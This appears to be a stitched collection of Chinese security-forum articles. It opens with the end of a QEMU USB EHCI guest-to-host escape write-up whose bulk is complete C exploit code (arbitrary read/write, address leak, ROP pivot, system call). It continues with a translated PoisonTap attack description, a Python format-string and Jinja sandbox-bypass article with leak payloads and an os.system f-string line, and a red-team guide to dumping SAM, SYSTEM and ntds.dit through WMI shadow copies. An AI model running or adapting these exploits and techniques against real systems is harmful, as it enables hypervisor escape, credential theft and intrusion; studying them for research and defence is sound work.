PCIIORegion io_regions[PCI_NUM_REGIONS];
AddressSpace bus_master_as;
MemoryRegion bus_master_container_region;
MemoryRegion bus_master_enable_region;
/* do not access the following fields */
PCIConfigReadFunc *config_read;
PCIConfigWriteFunc *config_write;
/* Legacy PCI VGA regions */
MemoryRegion *vga_regions[QEMU_PCI_VGA_NUM_REGIONS];
bool has_vga;
…………
};
（3）利用任意写，可以修改config_read保存的函数指针，在虚拟机里读取pci配置寄存器（调用system("lspci")）就可以触发config_read保存的函数指针，实际上是调用pci_default_read_config函数。将函数指针修改成system@plt地址，就可以调用system函数。
（4）到第（3）步就可以控制rip，但是传参有些问题，调用函数指针在pci_host_config_read_common函数中：
uint32_t pci_host_config_read_common(PCIDevice *pci_dev, uint32_t addr,
uint32_t limit, uint32_t len)
{
uint32_t ret;
pci_adjust_config_limit(pci_get_bus(pci_dev), &limit);// <------- if (limit <= addr) {
return ~0x0;
}
assert(len <= 4);
/* non-zero functions are only exposed when function 0 is present,
* allowing direct removal of unexposed functions.
*/
if (pci_dev->qdev.hotplugged && !pci_get_function_0(pci_dev)) {
return ~0x0;
}
ret = pci_dev->config_read(pci_dev, addr, MIN(len, limit - addr));
trace_pci_cfg_read(pci_dev->name, PCI_SLOT(pci_dev->devfn),
PCI_FUNC(pci_dev->devfn), addr, ret);
return ret;
}
此时将payload写入pci_dev中，但pci_adjust_config_limit(pci_get_bus(pci_dev), &limit);
这句会调用到object_dynamic_cast_assert。
pci_adjust_config_limit(pci_get_bus(pci_dev), &limit);
->
770 Object *object_dynamic_cast_assert(Object *obj, const char *typename,
771 const char *file, int line, const char *func)
772 {
► 773 trace_object_dynamic_cast_assert(obj ? obj->class->type->name : "(null)",
774 typename, file, line, func);
775
object_dynamic_cast_assert里面有个寻址操作，因为我们覆盖了class为payload，所以寻址失败，导致崩溃。
pwndbg> p/x *(struct PCIDevice *)0x55ba7a7befd0
$14 = {
qdev = {
parent_obj = {
class = 0x636c616378,
free = 0x7f29c95305c0,
到这里，传参这部分没有得到解决，想着泄露libc地址，覆盖rip为one_gadget，但本地环境没有满足条件的one_gadget，所以转而使用rop
链进行利用。
首先覆盖rip为0xdeadbeef， 观察寄存器，之前我们覆盖rdi为"xcalc"字符串地址失败是因为之前有寻址操作。
但是我们可以看到rax保存的是堆地址，所以第一步就是进行栈切换，将rsp切换到堆上。但笔者编译的qemu程序没有直接"xchg rax, rsp;
ret;"这种gadget，但找到了：
xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret;
可以将rax的值给rbp后，再通过leave指令（相当于mov rsp, rbp; pop
rbp;），间接将rax的值赋给rsp，完成栈切换。之后的的rop链就没有什么障碍：
new rsp ===> [0x00] : pop rax; ret;
[0x08] : system@plt
[0x10] : pop rdi; ret;
/-- [0x18] : rsp+0x30
| [0x20] : sub al, 0; call rax;
| [0x28] :
|-> [0x30] : "xcalc"
完成利用。
exp代码：
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
struct EHCIqh * qh;
struct EHCIqtd * qtd;
struct ohci_td * td;
char *dmabuf;
char *setup_buf;
unsigned char *mmio_mem;
unsigned char *data_buf;
unsigned char *data_buf_oob;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr;
#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};
struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};
typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */
/* endpoint characteristics */
uint32_t epchar;
/* endpoint capabilities */
uint32_t epcap;
uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;
uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqh;
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;
uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;
// Assert page alignment
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8 ) != 8)
die("read");
// Assert page present
phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
return phys;
}
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
void init(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
mlock(dmabuf, 0x3000);
entry = dmabuf + 4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_buf_oob = dmabuf + 0x2000;
}
void reset_enable_port(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}
void set_EHCIState(){
//printf("set_EHCIState~\n");
//getchar();
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
sleep(1);
}
void set_qh(){
qh->epchar = 0x00;
qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = virt2phys(qtd);
}
void init_state(){
reset_enable_port();
set_qh();
setup_buf[6] = 0xff;
setup_buf[7] = 0x0;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);
*entry = virt2phys(qh)+0x2;
set_EHCIState();
}
void set_length(uint16_t len,uint8_t option){
reset_enable_port();
set_qh();
setup_buf[0] = option;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);
set_EHCIState();
}
void do_copy_read(){
reset_enable_port();
set_qh();
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
set_EHCIState();
}
void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){
reset_enable_port();
set_qh();
*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002;
*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len
*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;
qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);
set_EHCIState();
}
void setup_state_data(){
set_length(0x500, USB_DIR_OUT);
}
void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
unsigned long offset = target_addr - data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);
*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);
}
unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset - 0x1018);
do_copy_read(); // oob read
return *(unsigned long *)(data_buf);
}
int main()
{
init();
iopl(3);
outw(0,0xc080);
outw(0,0xc0a0);
outw(0,0xc0c0);
sleep(3);
init_state();
set_length(0x2000, USB_DIR_IN);
do_copy_read(); // oob read
struct USBDevice* usb_device_tmp=dmabuf+0x2004;
struct USBDevice usb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
dev_addr = usb_device.ep_ctl.dev;
data_buf_addr = dev_addr + 0xdc;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
uint64_t *tmp=dmabuf+0x24f4+8;
long long leak_addr = *tmp;
if(leak_addr == 0){
printf("INIT DOWN,DO IT AGAIN\n");
return 0;
}
long long base = leak_addr - 0xc40d90;
uint64_t system_plt = base + 0x290D30;
printf("leak elf_base address : %llx!\n", base);
printf("leak system_plt address: %llx!\n", system_plt);
unsigned long search_start_addr = data_buf_addr + 0x5500;
arb_read(search_start_addr);
char *mask = "qxl-vga\0";
unsigned long find = memmem(data_buf, 0x1f00, mask, 0x8);
unsigned long offset = (find&0xffffffff) - ((unsigned long)(data_buf)&0xffffffff) + 0x5500;
unsigned long config_read_addr = data_buf_addr + offset + 0x390;
unsigned long pci_dev = config_read_addr - 0x450;
printf("config_read_addr: 0x%llx\n", config_read_addr);
printf("pci_dev: 0x%llx\n", pci_dev);
unsigned long pci_dev_content = arb_read(pci_dev);
//unsigned long rop_start = base + 0x2c3950;
unsigned long rop_start = base + 0x774ff0; //xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret;
printf("pci_dev_content: 0x%llx\n", pci_dev_content);
printf("rop_start: 0x%llx\n", rop_start);
//unsigned long al = (((rop_start&0xff00)>>8) + (pci_dev&0xff))&0xff;
unsigned long rsp = pci_dev + 0x8; // leave -> mov rsp, rbp; pop rbp;
printf("new rsp: 0x%llx\n", rsp);
unsigned long pop_rax = base + 0x523519; // pop rax; ret;
unsigned long pop_rdi = base + 0x3b51e5; // pop rdi; ret;
unsigned long call_rax = base + 0x71bd09; // sub al, 0; call rax;
arb_write(rsp, pop_rax);
arb_write(rsp+8, system_plt);
arb_write(rsp+0x10, pop_rdi);
arb_write(rsp+0x18, rsp+0x30);
arb_write(rsp+0x20, call_rax);
arb_write(rsp+0x30, 0x636c616378);
//getchar();
arb_write(config_read_addr, rop_start);
system("lspci");
};
运行效果图：
## 参考链接
<https://www.freebuf.com/vuls/247829.html>
[https://isc.360.com/2020/detail.html?vid=108&id=17](https://isc.360.com/2020/detail.html?vid=108&id=17)
<https://xz.aliyun.com/t/6562>
利用代码一：<https://github.com/De4dCr0w/Vulnerability-analyze/blob/master/CVE-2020-14364-Qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/exp1_irq.c>
利用代码二：<https://github.com/De4dCr0w/Vulnerability-analyze/blob/master/CVE-2020-14364-Qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/exp2_config_read.c> | 社区文章 |
# BCMUPnP_Hunter：疑似10万节点级僵尸网络正滥用路由器发垃圾邮件
##### 译文声明
本文是翻译文章，文章原作者 360 Netlab，文章来源：blog.netlab.360.com
原文地址：<https://blog.netlab.360.com/bcmupnp_hunter-a-100k-botnet-is-seeming-abusing-home-routers-for-spam-emails/>
译文仅供参考，具体内容表达以及含义原文为准。 | 社区文章 |
# 【技术分享】仅使用5美元设备，在锁定的计算机中植入Web后门（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：samy
原文地址：<https://samy.pl/poisontap/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **WisFree**](http://bobao.360.cn/member/contribute?uid=2606963099)
**稿费：160RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿** ****
**PoisonTap**
PoisonTap是一款制作成本仅为5美元的设备，它主要使用的是极客圈著名的[Raspberry Pi
Zero](http://amzn.to/2eMr2WY)（树莓派）。只需要一根[USB数据线](https://amzn.to/2fUMdah)和一张[SD存储卡](https://amzn.to/2fWgKsd)，我们就可以将其当作[USB
Armory](https://inversepath.com/usbarmory)和[LAN
Turtle](https://lanturtle.com/)这样的USB设备来使用了。
**发布时间：** 2016年11月16日
**源代码下载地址：**[
https://github.com/samyk/poisontap](https://github.com/samyk/poisontap)
**联系方式：**[ @SamyKamkar](https://twitter.com/samykamkar) //
[https://samy.pl](https://samy.pl/)
当PoisonTap（Raspberry Pi Zero + Node.js）插入一台受密码保护的计算机（锁定状态）之后，它将会进行以下操作：
1\. 模拟一个USB接口的以太网设备（或Thunderbolt接口）；
2\. 劫持设备上的所有网络通信流量；
3\. 利用Web浏览器嗅探并存储Alexa网站排名前十万的网站HTTP cookie和session（会话）；
4\. 将网络内部路由暴露给攻击者，攻击者将可以通过WebSocket和DNS rebinding技术远程访问目标路由；
5\. 在大量网站的HTTP cache中安装持久化的Web后门；
6\. 允许攻击者远程控制用户发送HTTP请求，并强行将用户cookies信息发送至攻击者所控制的服务器；
7\. 所有操作可以在一台锁定的计算机中运行，无需进行解锁操作；
8\. 移除PoisonTap设备之后，后门和远程访问权限仍然存在；
PoisonTap可以绕过以下安全机制：
1\. 计算机锁屏密码；
2\. 路由表优先级和网络接口服务次序；
3\. 同源策略；
4\. X-Frame-Options；
5\. HttpOnly Cookies；
6\. SameSite cookie属性；
7\. 双因素/多因素身份验证（2FA/MFA）；
8\. DNS Pinning；
9\. 跨域资源共享（CORS）
10\. HTTPS cookie的安全保护功能；
**演示视频**
**PoisonTap的工作机制**
PoisonTap可以利用目标设备或网络中现有的可信机制（例如USB、Thunderbolt、DHCP、DNS和HTTP）来引起一系列滚雪球式的连锁反应。它可以获取到目标网络的访问权，安装半持久化的恶意后门，并从目标系统中提取数据。
简而言之，PoisonTap可以执行下列操作：
**网络劫持**
1\. 将PoisonTap插入一台处于锁定状态的计算机；
2\.
PoisonTap会模拟出一个以太网设备。默认配置下，Windows、macOS和Linux都可以识别以太网设备，然后自动将该设备加载为低优先级的网络设备并向其发送DHCP请求，即使计算机当前处于锁定状态。
3\.
PoisonTap会响应DHCP请求，然后向计算机提供一个IP地址。但是这个DHCP响应会告诉计算机整个IPv4地址空间都属于PoisonTap本地网络，而不仅仅只是其中的一部分子网，例如192.168.0.0-192.168.0.255。
-一般来说，插入其他的网络设备之后是不会影响计算机的网络通信的，因为新插入的设备优先级会比之前可信任的网络设备优先级低，因此新设备无法取代当前网络流量的网关。但是…
-由于“局域网流量”的优先级高于“互联网流量”的优先级，因此路由表、网关优先级和网络接口服务顺序之类的安全机制都将会被绕过。
-PoisonTap正是利用了这种机制，因为“低优先级网络设备的子网”其优先级要高于“高优先级网络设备的网关”。
-这也就意味着，如果流量的目标地址为1.2.3.4，那么PoisonTap就可以捕获到这个流量，因为PoisonTap的本地网络的子网中包含1.2.3.4。
-正因如此，即便计算机中使用了其他高优先级的网络设备，即使网关设置正确，所有的互联网流量仍然会经过PoisonTap。
**Cookie嗅探**
1\. 只要Web浏览器能够在后台运行，其中的一个Web页面就可以在后台通过AJAX或动态脚本/iframe标签发送HTTP请求。
2\.
此时，因为所有的流量都会流经PoisonTap设备，PoisonTap就可以利用DNS欺骗来返回它自身的地址，从而让所有的HTTP请求都发送至PoisonTap的Web服务器中（[Node.js](https://nodejs.org/)）。
3\.
当Web服务器接收到HTTP请求之后，PoisonTap将会返回一段可以被解析为HTML或JavaScript的响应数据，大多数浏览器都可以正确地解析这类返回数据。
4\. 返回的HTML或JS将会生成很多带有“hidden”属性的iframe，每一个iframe都与Alexa排名前一百万的网站域名有关。
-网站的“X-Frame-Options”安全机制都会被绕过，因为PoisonTap现在就是HTTP服务器，它可以选择发送至客户端的HTTP header。
-此时，HTTP cookie会被浏览器发送至已被PoisonTap劫持的“公共IP地址”，而PoisonTap就可以记录下用户的cookie和身份验证信息了。
-“HttpOnly”（cookie安全保护机制）已经被绕过了。
-跨域资源共享和同源策略也已经被绕过了。
-因为我们捕捉到的是cookie，而不是用户的凭证数据，因此网站所采用的双因素或多因素身份验证也会被绕过，因为攻击者可以使用cookie来进行登录。这是因为我们并没有调用网站的登录功能，我们只是继续进行着一个已经存在的登录会话，这是不会触发双因素身份验证的。
-如果服务器使用的是HTTPS，但cookie没有设置[Secure标签](https://www.owasp.org/index.php/SecureFlag)的话，HTTPS保护机制仍然会被绕过，而cookie数据依然会被发送至PoisonTap。
**远程访问Web后门**
1\.
当PoisonTap生成了大量iframe之后，它会迫使浏览器加载这些iframe。此时它们就不是空白页面了，而是HTML+JavaScript的Web后门。
2\.
因为PoisonTap可以对这些后门进行缓存，此时这些后门也就相当于跟网站进行了绑定。这样一来，攻击者就可以使用这些网站cookie来发起“同源”请求了。
-比如说，当http://nfl.com/PoisonTap这个iframe被加载之后，Poisontap将会接收到这个网络流量，然后通过Node服务器对这个请求进行响应。
3\. 此时，用户收到的响应数据其实就是HTML与JavaScript的组合数据，它们将会生成一个持久化的WebSocket。
**内部路由后门 &远程访问**
1\.
PoisonTap无法劫持的一种网络就是真实网络接口中的局域网子网。比如说，如果用户WiFi的子网为192.168.0.x，那么这个网络就不会受PoisonTap影响。但是…
2\.
Poisontap可以强迫主机缓存一个Web后门，尤其是当目标路由的IP地址后面加上“.ip.samy.pl”之后（例如“192.168.0.1.ip.samy.pl”），此时将会产生持久化的DNS
rebinding攻击。
3\. DNS pinning和DNS rebinding将会被绕过。
4\.
现在后门已经被缓存至了http://192.168.0.1.ip.samy.pl/PoisonTap。这也就意味着，如果我们通过Web后门在一个iframe中远程加载http://192.168.0.1.ip.samy.pl/PoisonTap的话，我们就可以在内部路由中执行任意的AJAX
GET/POST请求了。
**其他功能**
1\.
除此之外，PoisonTap还可以修改大量常见的CDN文件，它会在正确的代码后面添加一个后门。这样一来，当目标网站加载了受感染的CDN文件之后，攻击者就可以获取到目标的远程访问权了。
2\. 因为后门会被安装在每一个域中，所以攻击者就可以让浏览器来发送“同源”请求了（AJAX GET/POST）。
**针对PoisonTap的缓解方案**
**服务器端的安全建议**
如果你运行着一台Web服务器，那么你可以采用以下几种简单的方法来保证服务器的安全：
1\. 使用HTTPS，至少要在处理身份验证数据的时候使用HTTPS；
2\. 确保开启了cookie的Secure标签，以防止HTTPS cookie的数据发生泄漏；
3\. 当你需要加载远程JavaScript资源时，使用[Subresource
Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity%E2%80%98)（子资源完整性）标签。
4\.
使用[HSTS](https://www.wikiwand.com/en/HTTP_Strict_Transport_Security)来防止HTTPS遭到攻击
**桌面端的安全建议**
1\. 在你每次离开电脑时，关闭你的浏览器；
2\. 禁用你的USB或Thunderbolt接口；
3\. 经常清理浏览器的缓存数据；
4\. 对于数据存储介质采用全盘加密，如果它具备休眠模式，则应该开启该模式；
5\. 在不使用电脑时，让电脑进入休眠状态而不是睡眠状态，在休眠状态中，电脑中所有的进程都将停止工作，安全性更高； | 社区文章 |
来源：[先知技术社区](https://xianzhi.aliyun.com/forum/read/615.html)
作者：phithon@长亭科技
在C语言里有一类特别有趣的漏洞，格式化字符串漏洞。轻则破坏内存，重则读写任意地址内容，二进制的内容我就不说了，说也不懂，分享个链接
<https://github.com/shiyanlou/seedlab/blob/master/formatstring.md>
### Python中的格式化字符串
Python中也有格式化字符串的方法，在Python2老版本中使用如下方法格式化字符串：
"My name is %s" % ('phithon', )
"My name is %(name)%" % {'name':'phithon'}
后面为字符串对象增加了format方法，改进后的格式化字符串用法为：
"My name is {}".format('phithon')
"My name is {name}".format(name='phithon')
很多人一直认为前后两者的差别，仅仅是换了一个写法而已，但实际上format方法已经包罗万象了。文档在此：
<https://docs.python.org/3.6/library/string.html#formatstrings>
举一些例子吧：
"{username}".format(username='phithon') # 普通用法
"{username!r}".format(username='phithon') # 等同于 repr(username)
"{number:0.2f}".format(number=0.5678) # 等同于 "%0.2f" % 0.5678，保留两位小数
"int: {0:d}; hex: {0:#x}; oct: {0:#o}; bin: {0:#b}".format(42) # 转换进制
"{user.username}".format(user=request.username) # 获取对象属性
"{arr[2]}".format(arr=[0,1,2,3,4]) # 获取数组键值
上述用法在Python2.7和Python3均可行，所以可以说是一个通用用法。
### 格式化字符串导致的敏感信息泄露漏洞
那么，如果格式化字符串被控制，会发送什么事情？
我的思路是这样，首先我们暂时无法通过格式化字符串来执行代码，但我们可以利用格式化字符串中的“获取对象属性”、“获取数组数值”等方法来寻找、取得一些敏感信息。
以Django为例，如下的view：
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))
原意为显示登陆用户传入的email地址：
但因为我们控制了格式化字符串的一部分，将会导致一些意料之外的问题。最简单的，比如：
输出了当前已登陆用户哈希过的密码。看一下为什么会出现这样的问题：`user`是当前上下文中仅有的一个变量，也就是format函数传入的`user=request.user`，Django中`request.user`是当前用户对象，这个对象包含一个属性`password`，也就是该用户的密码。
所以，`{user.password}`实际上就是输出了`request.user.password`。
如果改动一下view：
def view(request, *args, **kwargs):
user = get_object_or_404(User, pk=request.GET.get('uid'))
template = 'This is {user}\'s email: ' + request.GET.get('email')
return HttpResponse(template.format(user=user))
将导致一个任意用户密码泄露的漏洞：
### 利用格式化字符串漏洞泄露Django配置信息
上述任意密码泄露的案例可能过于理想了，我们还是用最先的那个案例：
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))
我能够获取到的变量只有`request.user`，这种情况下怎么利用呢？
Django是一个庞大的框架，其数据库关系错综复杂，我们其实是可以通过属性之间的关系去一点点挖掘敏感信息。但Django仅仅是一个框架，在没有目标源码的情况下很难去挖掘信息，所以我的思路就是：去挖掘Django自带的应用中的一些路径，最终读取到Django的配置项。
经过翻找，我发现Django自带的应用“admin”（也就是Django自带的后台）的models.py中导入了当前网站的配置文件：
所以，思路就很明确了：我们只需要通过某种方式，找到Django默认应用admin的model，再通过这个model获取settings对象，进而获取数据库账号密码、Web加密密钥等信息。
我随便列出两个，还有几个更有意思的我暂时不说：
[http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY
](http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY)
<http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY>}
### Jinja 2.8.1 模板沙盒绕过
字符串格式化漏洞造成了一个实际的案例——Jinja模板的沙盒绕过（
<https://www.palletsprojects.com/blog/jinja-281-released/> ）
Jinja2是一个在Python
web框架中使用广泛的模板引擎，可以直接被被Flask/Django等框架引用。Jinja2在防御SSTI（模板注入漏洞）时引入了沙盒机制，也就是说即使模板引擎被用户所控制，其也无法绕过沙盒执行代码或者获取敏感信息。
但由于format带来的字符串格式化漏洞，导致在Jinja2.8.1以前的沙盒可以被绕过，进而读取到配置文件等敏感信息。
大家可以使用pip安装Jinja2.8：
pip install https://github.com/pallets/jinja/archive/2.8.zip
并尝试使用Jinja2的沙盒来执行format字符串格式化漏洞代码：
>>> from jinja2.sandbox import SandboxedEnvironment
>>> env = SandboxedEnvironment()
>>> class User(object):
... def __init__(self, name):
... self.name = name
...
>>> t = env.from_string(
... '{{ "{0.__class__.__init__.__globals__}".format(user) }}')
>>> t.render(user=User('joe'))
成功读取到当前环境所有变量`__globals__`，如果当前环境导入了settings或其他敏感配置项，将导致信息泄露漏洞：
相比之下，Jinja2.8.1修复了该漏洞，则会抛出一个SecurityError异常：
## f修饰符与任意代码执行
在PEP 498中引入了新的字符串类型修饰符：f或F，用f修饰的字符串将可以执行代码。文档在此
<https://www.python.org/dev/peps/pep-0498/>
用docker体验一下：
docker pull python:3.6.0-slim
docker run -it --rm --name py3.6 python:3.6.0-slim bash
pip install ipython
ipython
# 或者不用ipython
python -c "f'''{__import__('os').system('id')}'''"
可见，这种代码执行方法和PHP中的`<?php "${@phpinfo()}";
?>`很类似，这是Python中很少有的几个能够直接将字符串转变成的代码的方式之一，这将导致很多“舶来”漏洞。
举个栗子吧，有些开发者喜欢用eval的方法来解析json：
在有了f字符串后，即使我们不闭合双引号，也能插入任意代码了：
不过实际利用中并不会这么简单，关键问题还在于：Python并没有提供一个方法，将普通字符串转换成f字符串。
但从上图中的eval，到Python模板中的SSTI，有了这个新方法，可能都将有一些突破吧，这个留给大家分析了。
另外，PEP 498在Python3.6中才被实现，在现在看来还不算普及，但我相信之后会有一些由于该特性造成的实际漏洞案例。
* * * | 社区文章 |
# BiuBiuBiu
> 几十年没更新了QAQ
> 翻译下bitsadmin的文章,我只知道他开发的工具ztmd.
帮他的github打个广告:
https://github.com/bitsadmin/wesng/ 提权辅助脚本
https://github.com/bitsadmin/fakelogonscreen/ 伪造系统登录页面
## 正文
最近，我们开展了一次红队行动，我们想从远程主机中转储凭据。我们拿到了目标机的管理员权限,希望拿到更多的凭据。
我们认为蓝队正在密切地观察环境，所以这需要以最隐秘的方式进行，并且最好仅涉及到本机Windows工具。 最后我们想出以下方法来获取远程系统的信息:
使用WMI和SMB从`%SystemRoot%\System32\Config`里面拿到这三个文件
* SYSTEM
* SECURITY
* SAM
也可以使用此方法从域控中获取ntds.dit文件，就能获得整个组织的凭据。
## 前提条件
在本文中，我们将先使用WMI在远程系统上创建一个卷影副本，然后使用SMB从卷影副本下载凭据文件。 假设以下端口
* 445 / TCP（SMB）
* 135 / TCP（DCOM）
* 5985 / TCP（WinRM）
* 5986 / TCP（基于SSL的WinRM）
其中之一是可访问的，并且我们在目标上有管理访问权限。
那么我们将使用使用端口135 / TCP进行通信的DCOM。
此外，当前的PowerShell实例在受害主机`（DC01.mydomain.local）`上以管理访问权限的用户身份运行，以用于获取本地凭据。
## 什么是WMI?
算了,不介绍了.
## 建立Session
如果你是在域外的机器上进行攻击,或者你想使用其他的凭据去访问目标时,建议使用`runas.exe`在运行远程主机上运行pwsh,这样一来,powershell实例需要认证时,都可以用runas实现.
runas.exe /netonly /user:MyDomain\MyUser powershell.exe
启动PowerShell之后，我们首先通过DCOM与远程主机启动一个新的CIM会话，并将其存储在`$s`变量中。 如果要改用WinRM，请省略`New-CimSession cmdlet`的`-SessionOption`参数。
PS C:\> $h = 'DC01.mydomain.local'
PS C:\> $so = New-CimSessionOption -Protocol Dcom
PS C:\> $s = New-CimSession -ComputerName $h -SessionOption $so
## 创建卷影
建立会话后，我们将调用`Win32_ShadowCopy`\--WMI类
的Create函数，该函数提供Volume参数来创建Windows安装驱动器的卷影副本，其中包含我们要获取的文件。 执行后，`Return
Value`为0表示卷影副本创建成功。 基于`ShadowID`，我们可以获取卷影副本的所有详细信息。
创建新卷影副本的另一种方法是检查是否已经有（最新）卷影副本，在这种情况下，您可以简单地使用该卷影副本并继续进行下一步。
这可以通过不使用`-Filter`参数而执行下面的`Get-CimInstance cmdlet`来完成。
PS C:\> $r = Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create -Arguments @{Volume='C:\'} -CimSession $s
PS C:\> $r | fl
ReturnValue : 0
ShadowID : {B15008D8-0C63-468C-AED7-ED4DB0CFD082}
PSComputerName : DC01.mydomain.local
PS C:\> $c = Get-CimInstance -ClassName Win32_ShadowCopy -CimSession $s -Filter "ID=`"$($r.ShadowID)`""
PS C:\> $c
Caption :
Description :
InstallDate : 4/19/2020 9:34:01 PM
Name :
Status :
ClientAccessible : True
Count : 1
DeviceObject : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6
Differential : True
ExposedLocally : False
ExposedName :
ExposedPath :
ExposedRemotely : False
HardwareAssisted : False
ID : {B15008D8-0C63-468C-AED7-ED4DB0CFD082}
Imported : False
NoAutoRelease : True
NotSurfaced : False
NoWriters : True
OriginatingMachine : DC01.mydomain.local
Persistent : True
Plex : False
ProviderID : {B5946137-7B9F-4925-AF80-51ABD60B20D5}
ServiceMachine : DC01.mydomain.local
SetID : {083BBDBA-4517-45A2-A62E-3F52020BC47C}
State : 12
Transportable : False
VolumeName : \\?\Volume{482bdb36-8a72-40a4-9b12-912d2783ef39}\
PSComputerName : DC01.mydomain.local
## 获得凭证文件
